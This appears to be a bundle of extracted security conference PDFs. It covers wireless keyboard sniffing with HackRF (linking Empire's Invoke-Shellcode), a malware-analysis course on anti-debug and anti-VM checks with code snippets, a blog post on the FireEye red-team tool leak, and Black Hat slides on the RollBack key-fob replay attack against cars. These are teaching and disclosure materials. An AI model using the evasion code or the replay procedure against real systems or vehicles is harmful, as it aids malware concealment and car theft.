HackRF One
半双工收发器
支持采样率:2 Msps—20
Msps(正交)
软件控制天线端口功率:最大
50mA 3.3 V
工作频率:1MHz—6GHz
l LPC4320/4330
l XC2C64A
l MAX2837
l RFFC5072
l MAX5864
l Si5351C
l MGA-81563
l SKY13317
l SKY13350
Audacity导入录制按键信息
适配器维持信号
按键信号
Inspectrum分析射频信号
cmake编译时报错
安装liquid-dsp
git clone git://github.com/jgaeddert/liquid-dsp.git
Sample rate:4000 0000
Symbols:1160
添加amplitude plot振幅图
通过Symbols参数划分波形
等分振幅图,导出数据
设置阈值转二进制串
比对二进制串匹配按键
HackRF录制正常
按键信号
用户按键
Inspectrum导入
射频信号
Inspectrum导出
射频数据
Python脚本转换
为01序列
将01序列设置为某
一按键的基准序列
将用户输入与基准
序列进行比对
打印出最为接近的
按键符号
Invoke-Shellcode payload:
https://github.com/EmpireProject
/Empire/blob/master/data/modul
e_source/code_execution/Invoke-
Shellcode.ps1
如何打造更安全的键盘?
PART
04
安全建议
安全建议
厂商角度:
l 引入serial number,按键无线电信号一次一变
l采用序列号+加密,对序列号进行加密,提高攻
击者攻击代价与难度。
用户角度:
l 敏感操作改用安全软键盘
l 不使用小厂的不合规格的键盘&适配器
l 提高无线安全意识,了解参数基本信息
l 登录等操作扫码代替
l 支持更新固件的设备进行固件升级
《中华人民共和国保守国家秘密法》
THANKS
演讲人:石冰
[email protected] | pdf |
Module 3
Understanding and countering malware’s evasion
and self-defence
https://github.com/hasherezade/malware_training_vol1
Fingerprinting for evasion
Fingerprinting for evasion
• Fingerprinting = gathering information about the environment where the executable
was deployed
• It is used by malware to determine whether it is deployed in a controlled
enviromnent, i.e. sandbox, analysis machine
• Open source projects with rich sets of techniques:
• https://github.com/a0rtega/pafish
• https://github.com/LordNoteworthy/al-khaser
• https://www.aldeid.com/wiki/ScoopyNG
• Presented demos you can find at:
•
https://github.com/hasherezade/antianalysis_demos
Fingerprinting for evasion
• PaFish in action:
https://github.com/a0rtega/pafish
Fingerprinting for evasion
• Al-Khaser in action:
https://github.com/LordNoteworthy/al-khaser
Fingerprinting for evasion
• Most of the malware stop their execution once they observe being analyzed –
that’s how they protect their real mission from being revealed. Common
reactions:
• ExitProcess
• Infinite sleep loop
• Some malware are more tricky, and:
• deploy a decoy (i.e. an old variant of Andromeda)
• corrupt their execution (i.e. Kronos) to crash at further point
Classic debugger detection
techniques
Anti-debugger: the classic set
• The fact that the application is being debugged leaves some artefacts in the
execution environment
• Malware tries to pick them up, and terminate or alter execution on such event
• There is a list of classic, well-known techniques, that malware authors keep
using from years, and probably will keep using in the future
• Let’s take a look at them...
Anti-debugger: approaches
• Using flags in internal process structures: EPROCESS, PEB
• Some of those checks can be invoked via APIs
• Breakpoint detection
• Reaction on exceptions
• Time checks
• Searching for the physical presence of the debugger in the system: checking
running processes, windows names/classes, installation artifacts of a
debugger
Detecting debugger: basic API
The most basic method, using: IsDebuggerPresent and/or
CheckRemoteDebuggerPresent
bool is_debugger_api()
{
if (IsDebuggerPresent()) return true;
BOOL has_remote = FALSE;
CheckRemoteDebuggerPresent(GetCurrentProcess(), &has_remote);
return has_remote ? true: false;
}
Detecting debugger: basic API
The most basic method, using: IsDebuggerPresent
IsDebuggerPresent(32-bit ver,)
1.
Get TEB
2.
Get PEB
3.
Get: BeingDebugged Flag
PEB
Anti-debugger: PEB
• PEB contains information about the environment where the process was
executed, and as well contains a lot of information relevant to detecting a
debugger...
• Using it is more stealthy then using API, and also easy to do in pure assembly
(convenient for a shellcode)
Detecting debugger: PEB
The more stealthy variant of the previous method is getting the BeingDebugged
flag via PEB
Related API:
•
IsDebuggerPresent
Detecting debugger: PEB
Another flag in PEB related to being debugged is NtGlobalFlag (more recent
addition: NtGlobalFlag2)
NTGlobalFlag is set when the stack of
the application is being watched
Related API:
•
RtlGetCurrentPeb()
PEB->NtGlobalFlag
PEB->NtGlobalFlag2
Detecting debugger: PEB
If the process is not being debugged: NtGlobalFlag == 0
Otherwise, the following flags are set (NtGlobalFlag == 0x70):
FLG_HEAP_ENABLE_TAIL_CHECK 0x10
FLG_HEAP_ENABLE_FREE_CHECK 0x20
FLG_HEAP_VALIDATE_PARAMETERS 0x40
Detecting debugger: PEB
PEB.ProcessHeap.Flags:
• If not degugged:
HEAP_GROWABLE (0x2)
• Otherwise:
HEAP_GROWABLE 0x2
HEAP_TAIL_CHECKING_ENABLED 0x20
HEAP_FREE_CHECKING_ENABLED 0x40
HEAP_SKIP_VALIDATION_CHECKS 0x10000000
HEAP_VALIDATE_PARAMETERS_ENABLED 0x40000000
Detecting debugger: PEB
PEB.ProcessHeap.ForceFlags:
• If not degugged: 0
• Otherwise: related to PEB.ProcessHeap.Flags:
PEB.ProcessHeapFlags & 0x6001007D
Detecting debugger: basic API
The most basic method, using: CheckRemoteDebuggerPresent
CheckRemoteDebuggerPresent
EPROCESS
Detecting debugger: API
Some of the mentioned artifacts (and more) can be retrieved using
NtQueryInformationProcess
Relevant parameters:
ProcessDebugPort 0x7 -> EPROCESS.DebugPort
ProcessDebugFlags 0x1F -> !(EPROCESS.NoDebugInherit)
ProcessDebugObjectHandle 0x1E -> returns DebugObject
ProcessBasicInformation 0x0 -> to get the parent process
https://ctf-wiki.github.io/ctf-wiki/reverse/windows/anti-debug/ntqueryinformationprocess/
Reaction on exceptions
If the debugger is present, it will try to handle the exception:
bool exception_is_dbg()
{
__try {
RaiseException(DBG_PRINTEXCEPTION_C, 0, 0, 0);
} __except (EXCEPTION_EXECUTE_HANDLER) {
return false;
}
return true;
}
Hardware breakpoints
• There are 4 Debug registrs that we can use for setting Hardware Breakpoints:
• DR0-DR3
• Once we set the Hardware Breakpoint, the relevant address is filled in one of those
registers. Example:
• DR6 – flags indicating the Debug Register which’s breakpoint got hit
• DR7 – flags indicating which of the Debug Registers are set
Hardware breakpoints
Checking if the Hardware Breakpoints have been set:
bool hardware_bp_is_dbg()
{
CONTEXT ctx = { 0 };
bool is_hardware_bp = false;
HANDLE thread = OpenThread(THREAD_ALL_ACCESS, FALSE, GetCurrentThreadId());
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
if (GetThreadContext(thread, &ctx)) {
is_hardware_bp = (ctx.Dr0 | ctx.Dr1 | ctx.Dr2 | ctx.Dr3) != 0;
}
CloseHandle(thread);
return is_hardware_bp;
}
The Trap Flag: Single Stepping
• The Trap Flag is one of the Flags in the EFLAGS register
• Setting the Trap Flag - allowing to step throught the code via INT 0x1: „Single
Step” after each instruction (generates an exception)
0x346 XOR 0x246 =
0x100 (TF)
The Trap Flag: Single Stepping
We cannot access EFLAGS directly - we need to do it via stack:
If we are single-stepping through the code, the debugger will handle the
generated interrupt. Otherwise, setting of the Trap Flag will generates an
exception.
pushfd
; push all the flags
or dword ptr[esp], 0x100 ; the flags are now in [esp]
; apply the mask to set the bit
; 0x100, that means TF
popfd
; load the flags from the stack again
The time check
• Debugging (also: emulation, or tracing the application by instrumentation
tools) often slows down the execution
• The time check is a simple way to find out that the application may be under
control of analysis tools
• The time check is often implemented with the help or RDTSC (Read Time-
Stamp Counter) instruction
RDTCS -> EDX:EAX = TimeStampCounter
https://c9x.me/x86/html/file_module_x86_id_278.html
The time check
The time should be measured at least twice, and compared with a threshold.
Example:
bool antidbg_timer_check()
{
static ULONGLONG time = 0;
if (time == 0) {
time = __rdtsc();
return false;
}
ULONGLONG second_time = __rdtsc();
ULONGLONG diff = (second_time - time) >> 20;
if (diff > 0x100) {
time = second_time;
return true;
}
return false;
}
Defense against anti-debug
• Debugger Plugins, i.e.
• ScyllaHide (using user-mode hooking)
• TitanHide (using kernel-mode hooking)
• SharpOD
• OllyDbg plugins (older, classics):
• OllyAdvanced
• Phantom
• StrongOD
https://github.com/fr0gger/awesome-ida-x64-olly-plugin
Classic anti-VM techniques
Anti-VM fingerprinting
• Virutal Machine emulates the real one to big extend, but still there are some
artifacts in the environment that makes it distinguishable
• Depending which hypervisor do we use, those artifacts will differ
• It is quite common among malware to look for some of those artifacts in
order to detect the Virtual Machine
• Some checks base on the presence of some particular names, related to the
hypervisor, other – on some loosely related features (i.e. relatively weak
parameters, one processor, etc)
Anti-VM: approaches
• Using presence/absence of some intstructions
• Identifiers returned by CPUID
• Memory-specific („The Red Pill” – IDT checking; GDT, LDT checks)
• Time checks
• Weaker hardware parameters (comparing to most modern physical machines)
• Searching for the physical presence of the VM-related artifacts: checking
running processes, windows names/classes, registry keys, etc.
CPUID (1)
• One of the low-level anti-vm techniques, is a check using CPUID instruction
• Check for processof features:
https://c9x.me/x86/html/file_module_x86_id_45.html
mov is_bit_set, 0
mov eax, 1 ; the parameter given to CPUID
cpuid
bt
ecx, 0x1f; bit 31
jnc
finish
mov is_bit_set, 1 ; if the bit is set, it is a VM
finish:
CPUID (0x40000000)
• One of the low-level anti-vm techniques, is a check using CPUID instruction
• Check for the hypervisor brand:
https://c9x.me/x86/html/file_module_x86_id_45.html
mov eax, 0x40000000; the parameter given to CPUID
cpuid
mov brand_id_0, ebx
mov brand_id_1, ecx
mov brand_id_2, edx
CPUID (0x40000000)
• One of the low-level anti-vm techniques, is a check using CPUID instruction
https://github.com/a0rtega/pafish/blob/master/pafish/cpu.c
"KVMKVMKVM\0\0\0"; // KVM
"Microsoft Hv"; // MS Hyper-V or Virtual PC
"VMwareVMware"; // VMware
"XenVMMXenVMM"; // Xen
"prl hyperv "; // Parallels
"VBoxVBoxVBox"; // VirtualBox
CPUID - defense
• Fortunately, we often can overwrite the values returned by CPUID by our own
• Appropriate settings may force the VM to supply our custom values instead of
the hardcodes ones...
https://www.vmray.com/cyber-security-blog/a-pafish-primer/
CPUID - defense
• In VMWare: settings can be changed in the .vmx file
• Anti bit-check - CPUID (1)
• Anti brand-check (0x40000000)
https://rayanfam.com/topics/defeating-malware-anti-vm-techniques-cpuid-based-instructions/
cpuid.1.ecx="0---:----:----:----:----:----:----:----"
cpuid.40000000.ecx="0000:0000:0000:0000:0000:0000:0000:0000"
cpuid.40000000.edx="0000:0000:0000:0000:0000:0000:0000:0000"
VMWare I/O port
• Trying to read the special I/O port, used by VMware to communicate with host,
with the help of IN instruction
• On a physical machine, the exception will occur
https://blog.malwarebytes.com/threat-analysis/2014/09/five-anti-debugging-tricks-that-sometimes-fool-
analysts/
mov eax, ‘VMXh’
mov ebx,0
mov ecx, 10
Mov edx, ‘VX’
in eax, dx
cmp ebx,’VMXh’
TODO...
• To be continued | pdf |
从FireEye的泄露看红队的差距
1. 前言
一大早被领导拉起来分析火眼事件。朋友圈整个安全圈子也是沸腾不已,但随着分析的深入,发现有
点“小题大做”了,没有想要的高尖精工具和技术方案,全是一堆已知攻击技术的红队模拟工具。但站在
一个红队人员的角度,也是收获不少。
2. 红队服务真的有用“假想敌手段”么?
以“假想敌”手段来评估企业安全,这里的手段往往被定义为APT手段。国内当前的红队服务使用的手段是
APT手段么?什么是APT手段?红队是怎么模拟的?
在火眼给的防御策略中,明显看出APT开头的很多样本、工具、后门。火眼的安全人员把各项在APT活动
中的技术方法做成了红队工具,用来评估企业对各种APT技术的防御能力,至少从工具层面火眼做到
了“假想敌”的要求。而国内的红队怎么样呢?,大家自己体会,不多说。
什么是APT手段,国内大部分公司把APT追踪放在威胁情报部门,也出了一些分析报告,从技术手段来
说,所谓的APT报告可能只能叫做样本分析报告吧。有没有对发现的技术进行工具化,提供给红队做红
队评估,大家心里有数。
3. 如果火眼红队只有“这样的水平”,也不过如此
号称全球最懂APT的火眼,如果仅仅只有策略体现的水平,有点名不副实了。
从策略中分析,有60%左右的开源项目,%35左右的为开源项目二次开发,%5左右为已知技术的实现,
所有的技术全部为已知且公开技术。没有前瞻性的技术方案,没有大型的工具平台,我想说“我不信”。
4. 从策略看国外红队工程化水准
毫不客气的说,是领先了国内很多的。其中大部分是C#开发,符合国外红队圈子的技术走向。GITHUB
开源的红队工具大部分也是C#开发,我读过一些工具的代码,水准也是一般,这可能也是火眼进行了大
量二次开发的原因吧!再回头看国内,武器化思路才起步,谈工程化就有点打脸。没有开源氛围,没有
工程化能力,想开源的代码能力弱了点,代码能力强的敝帚自珍。工具的法律风险也是一大掣肘。“既不
懂APT也不会写代码,你给我说你是做红队的”
5.作为技术人员还是要看点技术
大部分技术人员可能和我一样,看能不能捞点工具回来,FireEYE泄露的工具,至少比开源工具稳定性要
好些。可是我通过md5上VT捞,结论是:没有!没有!没有!但是也给了一些不大不小的启示:
1. GORat火眼竟然在用,我可能需要去尝试下
2. 其中有个D语言后门,多搞点小众语言减轻杀软对抗的痛苦
3. Dll劫持是不错的权限维持手段,策略里面含有大量dll劫持方案,但是都是公开的
4. 各种Loader的制作还是对抗的前沿
5. 还是要多造轮子,已有的轮子不一定都是好轮子
6. 已知漏洞武器化还是很有必要,相信大部分人和我一样眼馋的是那份CVE武器化工具,潜意识认为
火眼开发的利用一定还是不错的。
6. 我们的路还很长
红队的路还很长,认清楚差距,看明白方向。最后希望火眼披露攻击细节,希望看见黑客世界顶尖的样
子。就目前的公开的我想说“我裤子都脱了,你给我看这个?” | pdf |
#BHUSA @BlackHatEvents
RollBack
A New Time-Agnostic Replay Attack Against the Automotive
Remote Keyless Entry Systems
Joint work with Jun Wen Wong (NCS Group / DSBJ), Soundarya Ramesh (NUS), Rohini Poolat Parameswarath (NUS), Mun Choon Chan (NUS)
Levente Csikor
NCS Group
Institute for Infocomm Research, A*STAR
Hoon Wei Lim
NCS Group
#BHUSA @BlackHatEvents
Information Classification: General
Keyless car thefts have been on the rise
2/42
#BHUSA @BlackHatEvents
Information Classification: General
Keyless car thefts have been on the rise
❏ Keyless entry car technology now accounts for nearly 50% of all
vehicle thefts
UK Daily Mail, Jul 2021
❏ The risk of technology-enabled vehicle theft will continue to
increase
Auto-ISAC Threat Assessment Report 2021
❏ Keyless entry/key fob is one of top two most common attack
vectors
Upstream Global Automotive Cybersecurity Report 2022
3/42
#BHUSA @BlackHatEvents
Information Classification: General
Threats against remote keyless entry systems
❏ Manipulation of key fob signals
❏ Signal jamming
❏ Relay (amplification) attacks
❏ Replay attacks
❏ Attack on key management and
cryptographic algorithms
❏
Key enrolment
❏
Key replacement
❏
Key extraction
4/42
#BHUSA @BlackHatEvents
Information Classification: General
Recent car hacks based on replay of signals
5/42
#BHUSA @BlackHatEvents
Information Classification: General
Our new findings in a nutshell
❏ New replay attack - RollBack
❏ Revealed highly unusual behavior – more effective than
previously known key fob replay attacks
❏ Initial discovery in Aug 2021: unlocked a car by
replaying two consecutive signals within 5 seconds
❏ Derived new generic attack metrics in Mar 2022 that
work across different car makes & models: no. of
signals, sequence, interval, instructions in the signal
❏ Appear consistent with security assessments by
Thatcham Research – Consumer Security Ratings 2021
❏ Responsible disclosure
❏ Notified key fob chip manufacturers in Apr 2022
❏ Shared findings with Auto-ISAC in May 2022
Source: Thatcham Research, 2021
6/42
#BHUSA @BlackHatEvents
Rolling codes
Brief overview of the operation
background
#BHUSA @BlackHatEvents
Information Classification: General
❏ Note: provision is made if key fob’s counter is “in the future”
❏
Buttons accidentally pressed but far outside of the vehicle’s vicinity
❏
Upon successful reception, counters become re-synchronized again
❏ Every key fob signal transmission is unique
❏ “There are NO two unlock signals that are the same”
❏
Every time a button is pressed and a signal is received by the
vehicle, both increase a counter for the next use
❏
If counters are in sync upon reception → vehicle acts as
instructed/expected
Rolling codes in a nutshell
8/42
[1] Microchip, “KeeLoq™ Code Hopping Encoder,” Microchip HCS200, https://bit.ly/3GqCl5c, 2011 [Accessed: Jul 2022].
#BHUSA @BlackHatEvents
Information Classification: General
❏ RollJam attack
❏
Signal Jamming + Capturing + Replaying
❏
Lure the owner into a situation where “future codes” can be
obtained easily
❏ RollJam is/was not a “new hack”
❏
it converts the safety provisioning feature into an exploit
Rolling codes - Straightforward “exploit”
❏ If an attacker can capture the signals of the accidental
button presses outside of the vicinity of the vehicle
❏
We have the “future codes” → Straightforward “exploit”
❏ BUT: Obtaining valid “future code” in reality is extremely
difficult
9/42
#BHUSA @BlackHatEvents
RollJam
Infamous attack against all rolling
code-based systems
related work
#BHUSA @BlackHatEvents
Information Classification: General
RollJam in a nutshell
❏ Good-guy hacker, Samy Kamkar, proposed it in 2015
❏ Special-purpose small device (< 30 USD)
❏
Close to the vehicle (suffixed at a hidden spot)
❏
It can
❏
Capture
❏
Jam
❏
Replay signals
❏
Acts as Man-in-the-Middle proxy between the key fob and the
vehicle
RollJam in the news: https://www.wired.com/2015/08/hackers-tiny-device-unlocks-cars-opens-garages/
11/42
#BHUSA @BlackHatEvents
Information Classification: General
RollJam in a nutshell
❏ Good-guy hacker, Samy Kamkar, proposed it in 2015
❏ Special-purpose small device (< 30 USD)
❏
Close to the vehicle (suffixed at a hidden spot)
❏
It can
❏
Capture
❏
Jam
❏
Replay signals
❏
Acts as Man-in-the-Middle proxy between the key fob and the
vehicle
❏ First “unlock” signal sent
❏
Captured and jammed to hinder the car to receive it
RollJam in the news: https://www.wired.com/2015/08/hackers-tiny-device-unlocks-cars-opens-garages/
12/42
#BHUSA @BlackHatEvents
Information Classification: General
RollJam in a nutshell
❏ Good-guy hacker, Samy Kamkar, proposed it in 2015
❏ Special-purpose small device (< 30 USD)
❏
Close to the vehicle (suffixed at a hidden spot)
❏
It can
❏
Capture
❏
Jam
❏
Replay signals
❏
Acts as Man-in-the-Middle proxy between the key fob and the
vehicle
❏ First “unlock” signal sent
❏
Captured and jammed to hinder the car to receive it
❏ Second “unlock” signal sent (as a retry)
❏
Captured and jammed + first signal replayed
❏ Vehicle acts as intended
RollJam in the news: https://www.wired.com/2015/08/hackers-tiny-device-unlocks-cars-opens-garages/
13/42
#BHUSA @BlackHatEvents
Information Classification: General
RollJam in a nutshell
❏ Good-guy hacker, Samy Kamkar, proposed it in 2015
❏ Special-purpose small device (< 30 USD)
❏
Close to the vehicle (suffixed at a hidden spot)
❏
It can
❏
Capture
❏
Jam
❏
Replay signals
❏
Acts as Man-in-the-Middle proxy between the key fob and the
vehicle
❏ First “unlock” signal sent
❏
Captured and jammed to hinder the car to receive it
❏ Second “unlock” signal sent (as a retry)
❏
Captured and jammed + first signal replayed
❏ Vehicle acts as intended
❏ Attacker has the next valid yet unused “unlock” signal
RollJam in the news: https://www.wired.com/2015/08/hackers-tiny-device-unlocks-cars-opens-garages/
*Assuming that lock and unlock signals do not use the same counter
14/42
#BHUSA @BlackHatEvents
RollBack
Time-Agnostic Re-Synchronization Attacks
this is what
you came for
CVE-2022-36945
CVE-2022-37305
CVE-2022-37418
#BHUSA @BlackHatEvents
Information Classification: General
RollBack - two captured signals
❏ Setup is similar to RollJam
❏
Capture + Jam* + Replay
❏ HOWEVER: RollBack is different
*RollBack does not necessitate jamming but it can ease/fasten the signal capturing process
16/42
#BHUSA @BlackHatEvents
Information Classification: General
RollBack - two captured signals
❏ Setup is similar to RollJam
❏
Capture + Jam* + Replay
❏ HOWEVER: RollBack is different
❏ First “unlock” signal sent
❏
Captured and jammed to hinder the car to receive it
*RollBack does not necessitate jamming but it can ease/fasten the signal capturing process
17/42
#BHUSA @BlackHatEvents
Information Classification: General
RollBack - two captured signals
❏ Setup is similar to RollJam
❏
Capture + Jam* + Replay
❏ HOWEVER: RollBack is different
❏ First “unlock” signal sent
❏
Captured and jammed to hinder the car to receive it
❏ Second “unlock” signal sent (as a retry)
❏
Captured only and let the vehicle receive it
❏ Vehicle acts as intended
*RollBack does not necessitate jamming but it can ease/fasten the signal capturing process
18/42
#BHUSA @BlackHatEvents
Information Classification: General
RollBack - two captured signals
❏ Setup is similar to RollJam
❏
Capture + Jam* + Replay
❏ HOWEVER: RollBack is different
❏ First “unlock” signal sent
❏
Captured and jammed to hinder the car to receive it
❏ Second “unlock” signal sent (as a retry)
❏
Captured only and let the vehicle receive it
❏ Vehicle acts as intended
❏ Owner uses the vehicle/key fob as usual
❏
as many times s/he wants
*RollBack does not necessitate jamming but it can ease/fasten the signal capturing process
n > 400
19/42
#BHUSA @BlackHatEvents
Information Classification: General
RollBack - two captured signals
❏ Setup is similar to RollJam
❏
Capture + Jam* + Replay
❏ HOWEVER: RollBack is different
❏ First “unlock” signal sent
❏
Captured and jammed to hinder the car to receive it
❏ Second “unlock” signal sent (as a retry)
❏
Captured only and let the vehicle receive it
❏ Vehicle acts as intended
❏ Owner uses the vehicle/key fob as usual
❏
as many times s/he wants
❏ Attacker can replay the two consecutive “unlock”
signals
❏
note: some system has more restrictions on the replayed signals
(see later)
*RollBack does not necessitate jamming but it can ease/fasten the signal capturing process
n > 400
20/42
#BHUSA @BlackHatEvents
Information Classification: General
Why RollBack? Advantages?
❏ Rolling back to a previous code/state
❏
The captured consecutive signals are replayed
❏
The vehicle re-synchronize to a previous code
❏
To the old counters in the last replayed signal
❏
Vehicle acts according to the instruction in the signals
❏
i.e., unlocks
1. last unlock signal
received
21/42
#BHUSA @BlackHatEvents
Information Classification: General
Why RollBack? Advantages?
❏ Rolling back to a previous code/state
❏
The captured consecutive signals are replayed
❏
The vehicle re-synchronize to a previous code
❏
To the old counters in the last replayed signals
❏
Vehicle acts according to the instruction in the signals
❏
i.e., unlocks
1. last unlock signal
received
(all signals are invalid)
22/42
#BHUSA @BlackHatEvents
Information Classification: General
Why RollBack? Advantages?
❏ Rolling back to a previous code/state
❏
The captured consecutive signals are replayed
❏
The vehicle re-synchronize to a previous code
❏
To the old counters in the last replayed signals
❏
Vehicle acts according to the instruction in the signals
❏
i.e., unlocks
2. replay first two
unlock signals
23/42
1. last unlock signal
received
(all signals are invalid)
#BHUSA @BlackHatEvents
Information Classification: General
Why RollBack? Advantages?
❏ Rolling back to a previous code/state
❏
The captured consecutive signals are replayed
❏
The vehicle re-synchronize to a previous code
❏
To the old counters in the last replayed signals
❏
Vehicle acts according to the instruction in the signals
❏
i.e., unlocks
2. replay first two
unlock signals
24/42
3. Vehicle unlocks,
counters rolled back
to this state
#BHUSA @BlackHatEvents
Information Classification: General
Why RollBack? Advantages?
❏ Rolling back to a previous code/state
❏
The captured consecutive signals are replayed
❏
The vehicle re-synchronize to a previous code
❏
To the old counters in the last replayed signals
❏
Vehicle acts according to the instruction in the signals
❏
i.e., unlocks
25/42
3. Vehicle unlocks,
counters rolled back
to this state
(first two signals
become invalid)
#BHUSA @BlackHatEvents
Information Classification: General
❏ Rolling back to a previous code/state
❏
The captured consecutive signals are replayed
❏
The vehicle re-synchronize to a previous code
❏
To the old counters in the last replayed signals
❏
Vehicle acts according to the instruction in the signals
❏
i.e., unlocks
❏ Time-agnostic – attacker can rollback the
system
❏
At any time
❏
As many times as desired
Why RollBack? Advantages?
4. These signals
are valid again
More effective*
than RollJam
*More effective ‘iff’ vulnerable: RollJam “breaks” all rolling code-based systems, while RollBack only ~70% of them (see later)
26/42
3. Vehicle unlocks,
counters rolled back
to this state
(first two signals
become invalid)
#BHUSA @BlackHatEvents
Information Classification: General
RollBack - Variants
❏ Different vulnerable RKE systems impose different
requirements
❏ Properties:
a.
b.
c.
Yes, so far no variant in between, i.e.,
no variant found yet like
●
(2, Strict, X)
●
(2, Loose, y sec)
a. Number of signals
❏
how many signals do we need to capture?
b. Sequence / consecutiveness
❏
capture signal in order only OR strictly sequentially?
❏
capture and replay (1, 2, 3) vs. (1, 4, 5)
c. Time frame
❏
How fast do we need to replay the captured signals?
27/42
#BHUSA @BlackHatEvents
Information Classification: General
RollBack “in the wild”
Disclaimer
❏ No REAL attempts made in the wild
❏ All recorded signals were permanently deleted after the tests
❏ except for two vehicles for testing the time-agnostic feature of RollBack
❏ afterward, those signals were permanently deleted
❏ RollBack attack (or any replay attack) does not make any harm to the vehicle
❏ key fob might be temporarily blocked
❏ the physical key has to be used once to access the vehicle
28
28/42
#BHUSA @BlackHatEvents
Information Classification: General
❏ Evaluation on a limited set of
vehicles so far
RollBack “in the wild”
❏ “Blurry” conclusion
❏
Age DOES NOT matter
❏
Petrol vs. hybrid DOES NOT matter
❏
Most of the popular Asian cars tested
ARE affected
❏
All tested Mazda, Honda, Kia ARE vulnerable
❏
All tested Toyota cars ARE safe
❏
All Mfr. 2 and Mfr. 3 ARE affected*
❏
They both need 2 signals only
❏
Most Mfr. 1 RKE ARE affected*
❏
Mazda needs 3 signals
❏
Honda needs 5 signals
❏
Vehicles using Mfr. 4’s RKE ARE NOT
affected*
*Although not the key fobs have the flaw but probably the receiving unit (typically
manufactured by other OEMs), we observe a correlation (so far)
29/42
#BHUSA @BlackHatEvents
DEMO
RollBack in action
this might be
of interest too
#BHUSA @BlackHatEvents
https://youtu.be/auPtxnbly4s
https://youtu.be/ItY11yo95R8
https://youtu.be/sdsfDKSfGhU
https://youtu.be/nyVqsaSCKks
and maybe more
RollBack in General
#BHUSA @BlackHatEvents
RollBack
is instruction-agnostic
something new
#BHUSA @BlackHatEvents
Information Classification: General
❏ Attackers have even fewer things to do
1. Victim goes to a parking lot (e.g., to do the groceries)
2. Presses the lock button (twice)
a.
most of us press the lock button twice (to confirm)
3. Wait for the victim to come back and capture the
“unlock” signal
4. PROFIT
RollBack - Instruction-agnostic
❏ Instruction encoded in the signal DOES NOT matter
○ confirmed for Mazda
❏
we only need 3 consecutive signals
○ confirmed for Kia (see demo later)
❏
any two sequential but NOT STRICTLY CONSECUTIVE signals work
unlock
lock
lock
33/42
❏ NOTE:
❏ Car-sharing / Car-renting use cases are the simplest
❏ In car-sharing, the original key is usually inside → vehicle is at risk
Car-sharing scenario
#BHUSA @BlackHatEvents
RollBack:
instruction-agnostic
https://youtu.be/auPtxnbly4s
https://youtu.be/ItY11yo95R8
https://youtu.be/sdsfDKSfGhU
https://youtu.be/nyVqsaSCKks
and maybe more
#BHUSA @BlackHatEvents
Root Cause & Mitigation
The missing pieces of the puzzle
#BHUSA @BlackHatEvents
Information Classification: General
Root Cause & Mitigation
❏ Root cause: still unknown
❏ Possible candidate: key fob learning process
❏ Microchip has publicly available documentation [1]
https://i.ytimg.com/vi/8ARxmFVPJ3o/maxresdefault.jpg
[1] Microchip, “KeeLoq™ Code Hopping Encoder,” Microchip HCS200, https://bit.ly/3GqCl5c, 2011 [Accessed: Jul 2022].
36/42
#BHUSA @BlackHatEvents
Information Classification: General
Root Cause & Mitigation
❏ Root cause: still unknown
❏ Possible candidate: key fob learning process
❏ Microchip has publicly available documentation [1]
❏ HOWEVER: there are several unusual steps
❏
entering/exiting from the learning mode? Forever learning mode?
❏
time frame between signals
❏
vehicle reaction
❏
old key fob re-added?
https://i.ytimg.com/vi/8ARxmFVPJ3o/maxresdefault.jpg
[1] Microchip, “KeeLoq™ Code Hopping Encoder,” Microchip HCS200, https://bit.ly/3GqCl5c, 2011 [Accessed: Jul 2022].
37/42
#BHUSA @BlackHatEvents
Information Classification: General
Root Cause & Mitigation
❏ Root cause: still unknown
❏ Possible candidate: key fob learning process
❏ Microchip has publicly available documentation [1]
❏ HOWEVER: there are several unusual steps
❏
entering/exiting from the learning mode? Forever learning mode?
❏
time frame between signals
❏
vehicle reaction
❏
old key fob re-added?
❏ Mitigation
❏ General advice: most jamming-based attacks can be avoided by
precautionary measures
❏
e.g., first signal received but second was not in the case of RollJam
https://i.ytimg.com/vi/8ARxmFVPJ3o/maxresdefault.jpg
[1] Microchip, “KeeLoq™ Code Hopping Encoder,” Microchip HCS200, https://bit.ly/3GqCl5c, 2011 [Accessed: Jul 2022].
38/42
#BHUSA @BlackHatEvents
Information Classification: General
Root Cause & Mitigation
❏ Root cause: still unknown
❏ Possible candidate: key fob learning process
❏ Microchip has publicly available documentation [1]
❏ HOWEVER: there are several unusual steps
❏
entering/exiting from the learning mode? Forever learning mode?
❏
time frame between signals
❏
vehicle reaction
❏
old key fob re-added?
❏ Mitigation
❏ General advice: most jamming-based attacks can be avoided by
precautionary measures
❏
e.g., first signal received but second was not in the case of RollJam
❏ RollBack does not necessitates jamming
❏ Being time-agnostic, no precautionary measure applies
https://i.ytimg.com/vi/8ARxmFVPJ3o/maxresdefault.jpg
[1] Microchip, “KeeLoq™ Code Hopping Encoder,” Microchip HCS200, https://bit.ly/3GqCl5c, 2011 [Accessed: Jul 2022].
39/42
#BHUSA @BlackHatEvents
Information Classification: General
Root Cause & Mitigation
❏ Root cause: still unknown
❏ Possible candidate: key fob learning process
❏ Microchip has publicly available documentation [1]
❏ HOWEVER: there are several unusual steps
❏
entering/exiting from the learning mode? Forever learning mode?
❏
time frame between signals
❏
vehicle reaction
❏
old key fob re-added?
❏ Mitigation
❏ General advice: most jamming-based attacks can be avoided by
precautionary measures
❏
e.g., first signal received but second was not in the case of RollJam
❏ RollBack does not necessitates jamming
❏ Being time-agnostic, no precautionary measure applies
❏ Use timestamps along with the rolling codes (and check!)
https://i.ytimg.com/vi/8ARxmFVPJ3o/maxresdefault.jpg
[1] Microchip, “KeeLoq™ Code Hopping Encoder,” Microchip HCS200, https://bit.ly/3GqCl5c, 2011 [Accessed: Jul 2022].
40/42
#BHUSA @BlackHatEvents
Sound bytes a.k.a.
3 KEY TAKEAWAYS
1) RollBack - Capturing and replaying a couple of signals re-synchronizes the
rolling codes and unlocks most of today’s modern (Asian) vehicles tested
a) RollBack is instruction-agnostic
2) Unlike RollJam, RollBack
a) does not require signal jamming, only signal capturing once
b) captured signals can be replayed at any time and as many times as desired
3) So far, the root cause is not confirmed and no explicit mitigation exists
a) adding timestamps to the signals (and checking them) might help
41/42
#BHUSA @BlackHatEvents
Q&A
Reach out to us for any further enquiry
Thanks to our co-authors:
Jun Wen Wong (NCS Group / DSBJ),
Soundarya Ramesh (NUS),
Rohini Poolat Parameswarath (NUS),
Mun Choon Chan (NUS)
for their support (e.g., their cars :D) and inputs
Levente Csikor
NCS Group
Institute for Infocomm Research, A*STAR
[email protected]
[email protected]
Hoon Wei Lim
NCS Group
[email protected]
Whitepaper will be released soon on the
Black Hat site with more information.
